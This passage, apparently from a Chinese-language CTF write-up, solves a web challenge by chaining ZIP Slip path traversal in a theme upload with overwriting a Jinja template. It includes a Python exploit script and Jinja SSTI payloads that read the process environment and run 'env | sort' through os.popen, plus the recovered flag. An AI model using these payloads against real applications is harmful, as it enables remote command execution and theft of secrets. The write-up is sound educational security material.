PAYLOAD_BODY = "{{ cycler.__init__.__globals__.os.environ['GZCTF_FLAG'] }}"


def build_zip_bytes() -> bytes:
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as zf:
zf.writestr(PAYLOAD_NAME, PAYLOAD_BODY)
return buf.getvalue()


def main():
session = requests.Session()

zip_data = build_zip_bytes()
files = {
"theme": ("zerog-theme.zip", zip_data, "application/zip"),
}
resp = session.post(f"{BASE_URL}/theme/upload", files=files, timeout=10)
if resp.status_code not in (200, 302):
raise RuntimeError(f"theme upload failed: {resp.status_code}")

gallery = session.get(f"{BASE_URL}/gallery", timeout=10)
match = re.search(r"flag\{[^}]+\}", gallery.text)
if not match:
raise RuntimeError("flag not found in gallery response")

print(match.group(0))


if __name__ == "__main__":
main()

验证输出

运行脚本得到:

1
flag{59b65f15-3ec3-41ab-804a-76eb2cfde6a5}

为了确认没有被源码里的开发假 flag 误导,还额外上传了环境变量探测模板:

1
{{ cycler.__init__.__globals__.os.popen("env | sort").read() }}

响应中可以直接看到:

1
GZCTF_FLAG=flag{59b65f15-3ec3-41ab-804a-76eb2cfde6a5}

这一步把“模板覆盖成功”与“真实比赛 flag 来源”都交叉验证清楚了。

知识点总结

这题的第一层考点是很标准的 ZIP Slip。只要服务端在解压 ZIP 时直接信任成员文件名,攻击者就能利用 ../ 路径穿越把文件写到预期目录之外。

真正让题目完整起来的,是第二层的模板覆盖。这里被覆盖的目标不是普通静态文件,而是 Jinja 模板 templates/theme/card.html。一旦目标模板会被服务端主动 include,文件覆盖的危害就不再只是页面篡改,而会进一步升级成 SSTI 或至少是服务端模板内容注入。

最后一个容易踩坑的点,是源码里那条看起来很像真答案的 ZEROG_FLAG。比赛平台往往会在容器运行时通过环境变量注入真实 flag,这类场景里既要相信白盒线索,也要对“过于顺手的 flag”保持一点警觉。拿到模板执行能力以后,直接看运行时环境,比停留在源码默认值上更稳。

最终 flag

1
flag{59b65f15-3ec3-41ab-804a-76eb2cfde6a5}